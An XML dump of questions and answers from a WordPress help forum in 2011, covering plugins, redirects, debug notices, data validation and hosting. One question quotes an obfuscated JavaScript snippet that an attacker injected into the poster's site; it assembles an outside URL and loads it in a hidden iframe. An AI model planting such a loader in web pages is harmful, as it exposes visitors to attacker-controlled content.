  <row Id="25821" PostTypeId="2" ParentId="23823" CreationDate="2011-08-13T17:11:22.680" Score="0" ViewCount="" Body="&lt;p&gt;I am currently figuring out a similar problem, I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the Custom Field Template plugin, you can add different types of fields, including TinyMCE and checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article should help:&#xA;&lt;a href=&quot;http://www.designfaire.com/blog/custom-post-types-and-custom-field-template-in-wordpress-3-0-beta-2/&quot; rel=&quot;nofollow&quot;&gt;http://www.designfaire.com/blog/custom-post-types-and-custom-field-template-in-wordpress-3-0-beta-2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7869" LastActivityDate="2011-08-13T17:11:22.680" />
  <row Id="25822" PostTypeId="2" ParentId="25819" CreationDate="2011-08-13T18:10:07.543" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages#Markup_and_styling_of_page_items&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_pages#Markup_and_styling_of_page_items&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;style &lt;code&gt;.current_page_parent&lt;/code&gt; and/or &lt;code&gt;.current_page_ancestor&lt;/code&gt; the same as &lt;code&gt;.current_page_item&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-13T18:10:07.543" CommentCount="1" />
  <row Id="25823" PostTypeId="1" CreationDate="2011-08-13T18:32:05.803" Score="0" ViewCount="15" Body="&lt;p&gt;I've been searching for tutorials or articles or any advice on installing wordpress on a shared windows hosting environment, and can't seem to find anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the server 'meets the minimum requirements' for installing wordpress (php 5.2.4 or greater, mysql 5.0 or greater, the Mod_rewrite Apache Module), but the wordpress codex instructions for installation list separate windows installation instructions, which seem to require administrative privileges for the server, which I don't have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone installed wordpress on a shared windows hosting environment before? Can anyone offer tips, advice, problems to avoid, or point me to any helpful resources on the subject?&lt;/p&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2011-08-13T19:30:43.673" Title="Installing Wordpress on a Shared Windows Hosting Environment" Tags="&lt;installation&gt;&lt;shared-hosting&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="25824" PostTypeId="2" ParentId="25818" CreationDate="2011-08-13T19:09:11.377" Score="0" ViewCount="" Body="&lt;p&gt;You can do that with custom post types, but there are already quite a few plugins out there that do this. You might want to try &lt;a href=&quot;http://staypress.com/&quot; rel=&quot;nofollow&quot;&gt;StayPress&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-13T19:09:11.377" />
  <row Id="25826" PostTypeId="2" ParentId="20440" CreationDate="2011-08-13T20:38:09.587" Score="1" ViewCount="" Body="&lt;p&gt;Well you can just use the WordPress loop with a custom query to throw all the data you need into arrays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if you want all the post titles in an array (using &lt;code&gt;get_posts&lt;/code&gt;);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$all_posts = get_posts('numberposts=-1');&#xA;$all_titles = array();&#xA; foreach( $all_posts as $all_post ) {&#xA;  $all_titles[] = $all_post-&amp;gt;post_title;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for using the data in Google charts that is up to you, but I would recommend using JSON ( using &lt;code&gt;json_encode&lt;/code&gt;), XML or one of the many PHP chart wrappers.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-13T20:38:09.587" />
  <row Id="25827" PostTypeId="1" CreationDate="2011-08-13T21:05:07.950" Score="0" ViewCount="25" Body="&lt;p&gt;I have a directory styled site in which companies are listed. I would like to give the owners of the companies(the ones on my site) the option to take control of the content in their company entry. Some entries would still be controlled by myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question arises should I give owners admin access to their respective entry through user roles and some custom plugin code, or set up a WP multi-user site/network. Not sure how the WP network works in great detail but figured I would ask for opinions. I'd need to transfer the site over to the network version somehow, or set a function to go to the Network site if one exists for that company/entry. Not sure how that would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I need the owners to be able to do:&#xA;Update Categories, images, pot thumb nails and content(includes some additional met boxes with text input) as well as several other meta boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I can still control content on the entries without an external admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx for any and all help/opinions in advance &lt;/p&gt;&#xA;" OwnerUserId="5391" LastActivityDate="2011-08-14T17:20:42.430" Title="Give users acces to admin a single post or set up WP network?" Tags="&lt;multisite&gt;&lt;user-roles&gt;&lt;user-access&gt;" AnswerCount="2" />
  <row Id="25828" PostTypeId="1" CreationDate="2011-08-13T21:08:04.517" Score="1" ViewCount="27" Body="&lt;p&gt;I find &lt;a href=&quot;http://codex.wordpress.org/Data_Validation&quot; rel=&quot;nofollow&quot;&gt;Data Validation page&lt;/a&gt; on Codex a bit confusing. It highlights what all functions do but not how one differs from another and which one should be the right choice in a particular use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like earlier, Rarst created an awesome chart to show the difference between &lt;code&gt;WP_Query&lt;/code&gt;, &lt;code&gt;query_posts()&lt;/code&gt;, &lt;code&gt;get_posts()&lt;/code&gt; and it was so much easy to understand the difference among them &amp;amp; I could point anyone to that chart to make them understand the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of different validation functions will help developers understand them better and not leave them confusing to an extent. Having it sounds like a good idea?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-13T23:28:55.533" Title="Data validation" Tags="&lt;validation&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25829" PostTypeId="1" CreationDate="2011-08-13T21:35:44.877" Score="0" ViewCount="42" Body="&lt;p&gt;I maintain the website for a non-profit organization for historians/archivists. I'm migrating a static HTML site to WP. One of the main reasons for the transition is to utilize plugins for membership mgmt. and event registration. The free plugins in both these areas have not been all that user-friendly, so I'm looking for recommendations for plugins that achieve these goals. I need PayPal integration, not so sure about credit card transactions. One main problem I have in selecting a free/premium membership plugin is that I'm not trying to create premium content or a firewall. Our members haven't expressed in features such as: forums, member directories, etc.), so I'm really looking for a plugin(s) which let me and event planners facilitate event registration &amp;amp; mgmt., and creation/renewal of memberships &amp;amp; paying dues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at Event Espresso, S2Member, WP-Member, Magic Members, and played with all the free plugins. If I'm going to write a request for funds to purchase premium plugins to make these tasks easier, what plugins have any of you had success with? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for any advice.&lt;/p&gt;&#xA;" OwnerUserId="1815" LastActivityDate="2011-08-14T01:10:29.550" Title="Membership &amp; Event Registration/Management plus-ins for non-profit" Tags="&lt;plugin-recommendation&gt;&lt;registration&gt;&lt;events&gt;&lt;membership&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25830" PostTypeId="2" ParentId="25493" CreationDate="2011-08-13T21:56:21.040" Score="0" ViewCount="" Body="&lt;p&gt;To get the ID of the user that was created last, you could run the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id FROM wp_users ORDER BY user_registered DESC LIMIT 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To do this within the context of your code, do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$last_user_id = $wpdb-&amp;gt;get_results(&quot;SELECT id FROM $wpdb-&amp;gt;users ORDER BY user_registered DESC LIMIT 1&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will give you access to an instance of the WordPress query object and it will properly the query the database regardless of the table prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://php.net/manual/en/function.print-r.php&quot; rel=&quot;nofollow&quot;&gt;print_r&lt;/a&gt; the result to check the result.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2011-08-13T21:56:21.040" CommentCount="4" />
  <row Id="25831" PostTypeId="2" ParentId="25804" CreationDate="2011-08-13T21:59:32.897" Score="1" ViewCount="" Body="&lt;p&gt;The WordPress &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;wp_get_archives()&lt;/a&gt; function makes this really easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bare minimum, you can specify the type and the limit and it will return a collection of posts within that range.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2011-08-13T21:59:32.897" />
  <row Id="25832" PostTypeId="2" ParentId="25808" CreationDate="2011-08-13T22:01:39.310" Score="1" ViewCount="" Body="&lt;p&gt;Not natively. You'd have to write some code to make it happen - there's a nice &lt;a href=&quot;http://pastebin.com/xvqSvbYk&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt; function that provide the necessary code to do it.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2011-08-13T22:01:39.310" />
  <row Id="25833" PostTypeId="2" ParentId="25828" CreationDate="2011-08-13T23:28:55.533" Score="1" ViewCount="" Body="&lt;p&gt;I think the common issue (that I myself have at times) with understanding data validation that we try to approach it as function-centric (which one to use), while it should be approached as process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;where data comes from&lt;/li&gt;&#xA;&lt;li&gt;where it goes&lt;/li&gt;&#xA;&lt;li&gt;what unwanted and/or harmful things it might include&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The confusing amount of function comes from abundance of possible combinations and still won't cover all possibilities. While sanitization is covered, validation is usually something to you code yourself in context of your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nature of &lt;strong&gt;data is different&lt;/strong&gt;. Number is different from URL and from text and from HTML code and from user name, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;purpose of sanitization is different&lt;/strong&gt;. Data, going into database, is sanitized mostly to prevent SQL exploits. Data, going to screen, is sanitized mostly to prevent harmful JavaScript from running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while there are confusingly many functions, there is no simple logic to using them. That logic entirely depends on your specific data. You need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;understand general security concepts&lt;/li&gt;&#xA;&lt;li&gt;then your data&lt;/li&gt;&#xA;&lt;li&gt;then context of input or output&lt;/li&gt;&#xA;&lt;li&gt;and only then you have enough understanding to start picking functions to use&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For solid overview of security basics in WordPress I recommend watching &lt;a href=&quot;http://wordpress.tv/2011/01/29/mark-jaquith-theme-plugin-security/&quot; rel=&quot;nofollow&quot;&gt;Theme &amp;amp; Plugin Security by Mark Jaquith&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-13T23:28:55.533" />
  <row Id="25835" PostTypeId="2" ParentId="25829" CreationDate="2011-08-14T01:10:29.550" Score="0" ViewCount="" Body="&lt;p&gt;I am a front-end developer working full time with Event Espresso.  This is by far the most flexible, feature rich platform if you want to work exclusively with WP without using an external booking manager.  Its relatively easy to develop for.&lt;/p&gt;&#xA;" OwnerUserId="7588" LastActivityDate="2011-08-14T01:10:29.550" CommentCount="2" />
  <row Id="25836" PostTypeId="1" CreationDate="2011-08-14T02:25:49.913" Score="0" ViewCount="8" Body="&lt;p&gt;One question from a newbie?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the Graceful Sidebar plugin to display on the categories page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It displays when you click on the post itself, but I really want it to display on the categories page, instead of displaying the twenty 10 theme’s right-hand margin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The category page in question is: &lt;a href=&quot;http://www.anothersouthamericanblog.com/?cat=127&quot; rel=&quot;nofollow&quot;&gt;http://www.anothersouthamericanblog.com/?cat=127&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also would like to change the featured image of the categories (like i can in a page)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best,&#xA;Max&lt;/p&gt;&#xA;" OwnerUserId="7872" LastActivityDate="2011-08-14T02:25:49.913" Title="Graceful Sidebar plugin/twenty ten categories" Tags="&lt;plugins&gt;" />
  <row Id="25837" PostTypeId="2" ParentId="8230" CreationDate="2011-08-14T03:09:27.620" Score="-3" ViewCount="" Body="&lt;p&gt;I had same problem but nothing from here &quot;exactly&quot; didn't work but all together was helpful and I manage to find solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step: I set the time limit to 120 (set_time_limit (120);) in wp-config.php. &#xA;Second step: I track and delete all lines that contains &quot;menu_data['description']&quot;, &quot;menu-item-description&quot; or &quot;menu_item-&gt;description&quot; in wp-includes/nav-menu.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Few last versions of wp have different nav-menu.php so I think that is better to explain this method than just wrote lines that you need to erase because many others with same problem may be confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It still takes time but it works. &#xA;I don't know what is maximum number of menu items that you can have when you this, I have about 110 menu items and it works. &lt;/p&gt;&#xA;" OwnerUserId="7874" LastActivityDate="2011-08-14T03:09:27.620" CommentCount="1" />
  <row Id="25838" PostTypeId="1" AcceptedAnswerId="25847" CreationDate="2011-08-14T04:18:19.593" Score="0" ViewCount="60" Body="&lt;p&gt;I have been using a plugin that goes by the name &quot;Permalink Redirect.&quot; This WordPress plugin redirects older permalinks to the newer one set by me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old URL structure: /%year%/%category%/%postname%.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New URL structure: /%category%/%postname%/%post_id%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the posts with the older URL structure are redirected to newer ones using 301 redirects. Now it has been months since I implemented this, and Google doesn't index the older URL structure anymore -- newer ones are visible in Google index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if it's the right time to disable the plugin? I am doing this because I have seen constant dip in the traffic -- Google doesn't like 301 with another 301 redirect, or so I read. (I also use another plugin for custom redirecting of broken URLs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I implemented this plugin back in May, 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it okay to deactivate the Permalink Redirect plugin? I'm worried if this is the right move. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site: &lt;a href=&quot;http://blogote.com&quot; rel=&quot;nofollow&quot;&gt;http://blogote.com&lt;/a&gt; -- I have deactivated the plugin just now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Plugin activated; over 1200 inbound URLs are removed and replaced with newer URLs.&lt;/p&gt;&#xA;" OwnerUserId="7371" LastEditorUserId="7371" LastEditorDisplayName="" LastEditDate="2011-08-22T13:04:36.633" LastActivityDate="2011-08-22T13:04:36.633" Title="Plugin redirects URL structure using 301 redirect. Time to disable the plugin?" Tags="&lt;redirect&gt;&lt;wordpress.com&gt;" AnswerCount="1" />
  <row Id="25839" PostTypeId="2" ParentId="25827" CreationDate="2011-08-14T04:28:32.527" Score="1" ViewCount="" Body="&lt;p&gt;I don't think you need wordpress multisite to implement this feature. Just use normal wordpress. I recommend you two plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Role scoper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Adminimize&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you enabled user registration in &lt;strong&gt;Admin -&gt; Settings -&gt; General&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the best&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-14T04:28:32.527" />
  <row Id="25840" PostTypeId="1" CreationDate="2011-08-14T04:48:22.177" Score="-1" ViewCount="81" Body="&lt;p&gt;All of a sudden today, I looked on &lt;a href=&quot;http://crackpixels.com/blog&quot; rel=&quot;nofollow&quot;&gt;my site&lt;/a&gt; and there appears to be some strange characters on top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I noticed it only shows in Chrome. Is this someone trying to hack my site? Does anyone know how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, sometimes when I refresh the site, I get a &quot;webpage is not available&quot;. What is happening?&lt;/p&gt;&#xA;" OwnerUserId="7875" LastActivityDate="2011-08-14T10:05:37.380" Title="Strange characters appear at top of site — hack attempt?" Tags="&lt;virus&gt;" AnswerCount="3" />
  <row Id="25841" PostTypeId="1" AcceptedAnswerId="25848" CreationDate="2011-08-14T04:59:05.713" Score="0" ViewCount="27" Body="&lt;p&gt;Strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stripping my site URL, and searching for the term &quot;/?q=Save+Us+From+Berlusconi&quot;  on Google shows up this blog post written way back in 2009: &lt;a href=&quot;http://www.seroundtable.com/archives/021647.html&quot; rel=&quot;nofollow&quot;&gt;http://www.seroundtable.com/archives/021647.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site is facing something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do? Is this really a bug from Google? It looks like Berlusconi is the prime minister of Italy; however my site has nothing to do with political stuffs. I see there are a couple of threads in Google forum -- older ones -- that talk about this strange query indexed on Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example query: &lt;a href=&quot;http://www.google.com/search?q=%22websites+to+automatically+post+blog+post+on+twitter%22&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=%22websites+to+automatically+post+blog+post+on+twitter%22&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the second URL. &lt;/p&gt;&#xA;" OwnerUserId="7371" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-08-14T07:53:11.387" LastActivityDate="2011-08-14T07:53:11.387" Title="Strange Search Query Appearing on Google Index - &quot;/?q=Save+Us+From+Berlusconi&quot;" Tags="&lt;plugins&gt;&lt;search&gt;&lt;seo&gt;&lt;google-search&gt;" AnswerCount="1" />
  <row Id="25842" PostTypeId="1" AcceptedAnswerId="25984" CreationDate="2011-08-14T05:01:52.047" Score="-1" ViewCount="46" Body="&lt;p&gt;Ok I'm running my wordpress in debug mode. I'm getting lot of notices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//allows the theme to get info from the theme options page&#xA;global $options;&#xA;foreach ($options as $value) {&#xA;    if (get_option( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; }&#xA;    else { $$value['id'] = get_option( $value['id'] ); }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what i'm seeing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined index: id in functions\get-options.php on line 5&#xA;&#xA;Notice: Undefined index: std in functions\get-options.php on line 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These notices repeated around 20 times. &#xA;Whats wrong in my code?. Can anyone help me to fix those errors. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastEditorUserId="5074" LastEditorDisplayName="" LastEditDate="2011-08-14T14:18:00.327" LastActivityDate="2011-08-15T18:29:58.383" Title="Weird undefined index: id,std notices. How to fix it?" Tags="&lt;theme-options&gt;&lt;debug&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25843" PostTypeId="2" ParentId="25840" CreationDate="2011-08-14T05:08:18.970" Score="0" ViewCount="" Body="&lt;p&gt;It might caused by your plugin. Just deactivate your plugin one by one, find the plugin and remove it&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-14T05:08:18.970" />
  <row Id="25845" PostTypeId="2" ParentId="25840" CreationDate="2011-08-14T06:03:19.187" Score="0" ViewCount="" Body="&lt;p&gt;It looks like it got hacked. There is a script being added to the bottom of the site.&lt;/p&gt;&#xA;" OwnerUserId="7877" LastActivityDate="2011-08-14T06:03:19.187" />
  <row Id="25847" PostTypeId="2" ParentId="25838" CreationDate="2011-08-14T07:30:34.850" Score="0" ViewCount="" Body="&lt;p&gt;It's safe to disable the plugin since you no longer see the old URLs in the index.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be even safer I recommend doing the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;submit a sitemap containing only the new URLs&lt;/li&gt;&#xA;&lt;li&gt;make sure that all inbound links use the new URLs.&lt;/li&gt;&#xA;&lt;li&gt;create a custom 404 page which mimics your sitemap. This is in case your backlinks uses the old URLs. You would want to send the user a friendly page to help them find what they are looking for. &lt;/li&gt;&#xA;&lt;li&gt;Help the Google robot by having the correct canonical tags.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EDIT on handling old URL and backlinks you want to preserve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a chat with an SEO consultant about your matter and here is a possible course of action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main solution is being able to handle traffic coming from a referring link on an external site and handling an old indexed link coming from search, then trying to come up with an elegant WordPress solution for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step is to go into Google Analytics and figure out which links are the most landed on both traffic mediums and to do that you will have to create an Advanced Segment, located on the upper right of the reporting profile. Once there you would have to create:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traffic Sources &amp;gt; Medium &quot;Matches Exactly&quot; &amp;gt; referral&#xA;Traffic Sources &amp;gt; Medium &quot;Matches Exactly&quot; &amp;gt; organic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you've created both go to the Content &gt; Top Landing Pages and look at the top 15 to 20 pages on the report. Sort through the list and find out which ones are 404's and the next solution would be different for both traffic mediums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Referral traffic, you would have to create a rule where if visitors came from a Referring site and the content doesn't exist, point it to the best relevant content based on text on the referring URL from the visitors cookie, which would be a Search Results Page (SRP) on WordPress. Now this is a complicated but elegant solution. If you can't pull this off, just create a rule on the mod server file to handle x amount of visitors landing on old page to land on new page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Organic traffic, which would be slightly easier to handle, you would have to get the original keyword that brought the visitor to the old indexed link from the search engine and then pass that value over to the WordPress content search engine, in essence landing them on a SRP page. You must be careful though to only do this for links that doesn't exist anymore and if the visitor came from search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to figure this out? Manipulating and using the GA cookie values. The GA tag is smart enough to define where the visitor came from and what medium, to see this download and install Firebug (or any HTTP debugger). Look for the GET request being kicked off by the __utm.gif file (the GA tracking pixel), then look at the values. You would see from a parameter list how your visit (or anyone else's) are being identified by GA.&lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="413" LastEditorDisplayName="" LastEditDate="2011-08-17T02:48:18.167" LastActivityDate="2011-08-17T02:48:18.167" CommentCount="5" />
  <row Id="25848" PostTypeId="2" ParentId="25841" CreationDate="2011-08-14T07:52:06.007" Score="0" ViewCount="" Body="&lt;p&gt;This is not a WordPress question … yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to handle this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Don’t do anything.&lt;/strong&gt; One more indexed page will not harm your site’s karma. This is not spam. Someone has has probably created a link to your site with this query string to trick the auto-complete tool on Google. The link may be gone now, but Google doesn’t forget. So what?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Fix your search.&lt;/strong&gt; I tested the search string on the website from your profile and I got many “results”. That’s a problem. You serve exactly the same set of articles for every search. This is not useful for your visitors. Plus, if some bad guy creates a file with 10.000 links to different searches you get a serious &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=66359&quot; rel=&quot;nofollow&quot;&gt;duplicate content&lt;/a&gt; problem. Install a good search plugin – I suggest &lt;a href=&quot;http://wordpress.org/extend/plugins/relevanssi/&quot; rel=&quot;nofollow&quot;&gt;Relevanssi&lt;/a&gt; – and make sure to show only real results.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-14T07:52:06.007" CommentCount="1" />
  <row Id="25849" PostTypeId="2" ParentId="25805" CreationDate="2011-08-14T07:52:42.187" Score="0" ViewCount="" Body="&lt;p&gt;If I understood your question, you can enclose the logic you provided with a check to see if the date has been set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if isset(the_date()) {&lt;br&gt;&#xA;  // display post-date&lt;br&gt;&#xA;  }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-08-14T07:52:42.187" CommentCount="1" />
  <row Id="25850" PostTypeId="2" ParentId="25764" CreationDate="2011-08-14T08:07:37.000" Score="1" ViewCount="" Body="&lt;p&gt;The prepare() method escapes %s. The second piece of code you listed breaks because quotation marks are added to the table name, hence it doesn't match what's in the DB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first piece of code works because it's a straight string replacement hence matching the name of the table in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the error message you are getting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-08-14T08:07:37.000" CommentCount="1" />
  <row Id="25851" PostTypeId="1" CreationDate="2011-08-14T08:23:08.650" Score="0" ViewCount="28" Body="&lt;p&gt;I'd like to add my own button link next to these two. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/YVA9E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-08-15T18:26:49.540" Title="Add my own button next to &quot;Screen options&quot; and &quot;Help&quot; in the admin" Tags="&lt;admin&gt;&lt;admin-menu&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25852" PostTypeId="1" AcceptedAnswerId="25866" CreationDate="2011-08-14T08:28:29.147" Score="0" ViewCount="18" Body="&lt;p&gt;Right now I'm using two plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One for enabling users to login with their &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect/&quot; rel=&quot;nofollow&quot;&gt;twitter&lt;/a&gt; account and one for their &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-fb-autoconnect/&quot; rel=&quot;nofollow&quot;&gt;facebook&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searhced the whole web but I can't find one for Google Accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any sugestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-08-14T11:35:12.450" Title="Is there a plugin that enables users to log in with their google account (not the make-your site-social plugin)?" Tags="&lt;plugins&gt;&lt;login&gt;" AnswerCount="1" />
